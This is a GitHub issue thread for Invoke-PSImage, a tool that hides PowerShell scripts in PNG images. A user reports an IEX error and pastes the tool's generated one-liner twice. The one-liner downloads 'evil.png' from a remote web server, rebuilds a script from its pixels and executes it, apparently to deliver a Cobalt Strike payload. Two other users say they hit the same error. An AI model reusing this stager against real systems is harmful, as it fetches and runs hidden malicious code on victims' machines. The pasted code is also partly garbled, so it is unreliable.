peewpw / Invoke-PSImage

Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute
MIT License
2.16k stars 397 forks source link

error ”&“ #19

Open Scorpio-m7 opened 2 years ago

Scorpio-m7 commented 2 years ago

chinese payload.ps1 from cs evil.png on the web server(192.168.211.1)

PS C:\Users\root\Desktop\Invoke-PSImage-master> Import-Module .\Invoke-PSImage.ps1

PS C:\Users\root\Desktop\Invoke-PSImage-master> Invoke-PSImage -Script .\payload.ps1 -Out .\evil.png -Image .\1.png -Web sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$);$o[$252+$x]=([math]::Floor(($p.B-band15)16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))

PS C:\Users\root\Desktop\Invoke-PSImage-master> sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).O penRead("http://192.168.211.1/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$);$o[$252+$x]=([math]::F loor(($p.B-band15)16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538])) IEX : 所在位置 行:1 字符: 162

Nezf00 commented 1 year ago

Do you find a solution?, i was getting the same error

ShiverZm commented 7 months ago

the same as me.